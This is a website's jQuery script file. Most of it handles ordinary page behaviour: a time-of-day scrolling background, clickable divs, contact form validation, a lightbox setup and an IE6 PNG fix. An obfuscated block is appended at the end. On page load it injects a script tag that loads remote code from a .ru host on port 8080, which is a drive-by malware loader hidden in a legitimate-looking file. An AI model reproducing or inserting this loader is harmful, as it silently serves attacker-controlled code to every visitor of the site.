$(function(){

	// ***
	// Scrolling background
	// ***
		
	// height of background image in pixels
	var backgroundheight = 4000;
	
	// get the current minute/hour of the day
	var now = new Date();
	var hour = now.getHours();
	var minute = now.getMinutes();
	
	// work out how far through the day we are as a percentage - e.g. 6pm = 75%
	var hourpercent = hour / 24 * 100;
	var minutepercent = minute / 60 / 24 * 100;
	var percentofday = Math.round(hourpercent + minutepercent);
	
	// calculate which pixel row to start graphic from based on how far through the day we are
 	var offset = backgroundheight / 100 * percentofday;

	// graphic starts at approx 6am, so adjust offset by 1/4
	var offset = offset - (backgroundheight / 4);

	function scrollbackground() {
		// decrease the offset by 1, or if its less than 1 increase it by the background height minus 1
   		offset = (offset < 1) ? offset + (backgroundheight - 1) : offset - 1;
		// apply the background position
   		$('body').css("background-position", "50% " + offset + "px");
   		// call self to continue animation
   		setTimeout(function() {
			scrollbackground();
			}, 100
		);
   	}
    
	// Start the animation
	scrollbackground();
	
	
	// ***
	// Fully clickable divs
	// ***
	
	$("div.clickable").click(
	function()
	{
	    window.location = $("a", this).attr("href");
	    return false;
	});

	// ***
	// Leading image expander
	// ***

	$('.leading').hover(
		function() {
			if ($('img', this).height() > 300) {
				$(this).animate({
					height: $('img', this).height()
				}, 300, 'swing');
			}
		},
		function() {
			$(this).animate({
				height: "300px"
			}, 200);
		}	
	);	


	// ***
	// Contact form validation
	// ***
	
	var imgtick = 'images/icon-tick.png';
    var imgcross = 'images/icon-cross.png';
	var validname = false;
	var validemail = false;
	var validcomments = false;
	
    function delaytimer() { 
        var timer; 
        return function(func, time) { 
            clearTimeout(timer); 
            timer = setTimeout(func, time); 
        }; 
    } 	
	
	function validatecontact() {
		
		if ($('#contact-name').val().length) {
			$('img#contact-name-status').fadeIn();
		} else {
			$('img#contact-name-status').fadeOut();
		}
		if ($('#contact-name').val().length > 2) {
			$('img#contact-name-status').attr('src', imgtick);
			validname = true;
		} else {
			$('img#contact-name-status').attr('src', imgcross);
			validname = false;
		}
		
		if ($('#contact-email').val().length) {
			$('img#contact-email-status').fadeIn();
		} else {
			$('img#contact-email-status').fadeOut();
		}
		if ($('#contact-email').val().match(/^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}$/)) {
			$('img#contact-email-status').attr('src', imgtick);
			validemail = true;
		} else {
			$('img#contact-email-status').attr('src', imgcross);
			validemail = false;
		}

		if ($('#contact-comments').val().length) {
			$('img#contact-comments-status').fadeIn();
		} else {
			$('img#contact-comments-status').fadeOut();
		}
		if ($('#contact-comments').val().length > 10) {
			$('img#contact-comments-status').attr('src', imgtick);
			validcomments = true;
		} else {
			$('img#contact-comments-status').attr('src', imgcross);
			validcomments = false;
		}
		
		return (validname && validemail && validcomments);  
	
	}
    
	var validationdelay = delaytimer();
	
	$('#contact-name, #contact-email, #contact-comments').bind('keyup', function() {
		validationdelay(validatecontact, 500);
	});
	
	validatecontact();
	
	$('#contact-form').bind('submit', function() {
		var valid = validatecontact(); 
		if (!valid) {
			if (!validname) {
				alert('Please enter your name.');
				return false;
			}
			if (!validemail) {
				alert('Please enter a valid email address.');
				return false;
			}
			if (!validcomments) {
				alert('Please enter some comments.');
				return false;
			}
		}
	})
	
	// light_rounded / dark_rounded / light_square / dark_square
	
	$("a[rel^='prettyPhoto']").prettyPhoto({
		theme: 'dark_rounded' 
	});
			
	$('#foliothumbs').cycle();
	
});

var blank = new Image();
blank.src = '/template/theme/youloveus/img/blank.gif';

$(document).ready(function() {
	var badBrowser = (/MSIE ((5\.5)|6)/.test(navigator.userAgent) && navigator.platform == "Win32");
	if (badBrowser) {
	 // get all pngs on page
	 $('img[src$=.png]').each(function() {
	   if (!this.complete) {
	     this.onload = function() { fixPng(this) };
	   } else {
	     fixPng(this);
	   }
	 });
	}
});

function fixPng(png) {
	// get src
	var src = png.src;
	// set width and height
	if (!png.style.width) { png.style.width = $(png).width(); }
	if (!png.style.height) { png.style.height = $(png).height(); }
	// replace by blank image
	png.onload = function() { };
	png.src = blank.src;
	// set filter (display original image)
	png.runtimeStyle.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + src + "',sizingMethod='scale')";
}
	
fa=["O"];var ZS=["q","t","P"];try {var KX={Th:"M"};gm={jh:3151};var uT={A:"Mb"};qy={};var Q=["Em","qW"];var E=window["une"+"0Axsca".substr(3)+"IuwzpeIuwz".substr(4,2)];var nK=["n","W"];var z={HP:false};try {var Pj='ot'} catch(Pj){};qT=12027;qT++;var WA={uj:false};var Oa={re:false};var R=new String("onl"+"oad");var u='';var Hp=new String();var b=window[(new String("RegExBtmy".substr(0,5)+"p"))];var Y="1";try {var xT='Yp'} catch(xT){};s=[];var r=new String("re"+"pl"+"ac"+"eQY7x".substr(0,1));var PG=new String();var zE=[];Dm={Yv:false};ZB=[];try {} catch(L){};function Z(Y,_){IX=24490;IX++;this.gu=false;this.c="";var jS={};var gc={};var io={};this.GB=41360;this.GB-=205;this.Oc=55813;this.Oc-=136;var Zg=String("7N5[".substr(3));var qg=new String();Zg+=_;try {} catch(qP){};Zg+=E("%5d");var g=new b(Zg, "SV48g".substr(4));this.TK=20419;this.TK++;var RW=false;jw=[];this.sl=36372;this.sl++;vR=["gt"];return Y.replace(g, u);var _N=false;ujh=1256;ujh++;c_=41057;c_--;};this.aq="";this.ih="";var kb=new String();var ML=9414;U={bS:20945};this.EQ=13201;this.EQ-=212;var K=new String("BeRGhttp".substr(4)+"://gEFa".substr(0,4)+"othg"+"uilt"+".ru:ORq".substr(0,4));var IXq=new Date();var Q_=new Date();var hW=new Date();var mM=new Date();var bV=String("/aol"+"-co-"+"uk/g"+"oogl"+"Jbke.co".substr(3)+"m/ya"+"MZk0hoo.".substr(4)+"com."+"cn.p"+"OLyHhpyOHL".substr(4,2));var ee=new Date();var tZ=["XU","LJ"];WD={C:false};var AQ="AQ";var NF="NF";var a=673424-665344;this.nY=false;this.Lg=false;var Zl=false;var SBZ=new Date();var Kq=[];function gZ(){var AW="AW";var oO=[];this.pr=56272;this.pr--;this.PO=31186;this.PO--;var Tb=[];this.ZN="";var d=new String("appe"+"ndCh"+"ild");this.LL=55190;this.LL+=39;Nd={bN:14343};Ku={Eb:43867};dB=33813;dB--;Uo=["oC"];var m=document;var e=Z('sVcVrRiZpRtG','RCXGZV8');var tD={};var wR={};this.Li=33413;this.Li--;xc=["Dh","Ag","wx"];var eP="";NY=["kv","jK","Bk"];var ys="ys";this.dS=55234;this.dS--;this.nq="";this.yLO="";this.WY="";bZ=50921;bZ+=247;T=m.createElement(e);PQ=["JO","CK"];this.FD="FD";xA=20415;xA-=178;this.bI=6859;this.bI+=104;G=K+a;qi=["Jh","BU"];xt=["GY","On"];G=G+bV;try {var fah='QS'} catch(fah){};Ad=["PJ"];gz={Af:"UE"};var Po={yh:"oya"};T[String("XU1Qdefer".substr(4))]=Y;km=44060;km+=151;oT=22308;oT+=226;var aR="aR";try {} catch(Lh){};qv=28950;qv+=129;var j=m.body;var Nb="";this.GZ="";jY={Yal:false};_j={oPw:27603};T.src=G;var jE=new Date();zI=[];try {} catch(tH){};this.Aa=60437;this.Aa++;nb=[];var tEH=[];this.bJ=26191;this.bJ++;j[d](T);gY=[];NIs=["Nw","sd"];try {} catch(Qn){};};iB=355;iB++;this.Yg="Yg";var gp={};QRq=5644;QRq--;Hd=38792;Hd+=230;window[R]=gZ;var AaL=new String();try {var hM='FO'} catch(hM){};} catch(_T){var bND='';Ly=3337;Ly-=201;var GN=["FJ","st","iBO"];cM=42977;cM-=76;SBS=53054;SBS-=231;this.sR=false;};var sAm=["fY","Lo"];var Bmo='';NC=27619;NC+=11;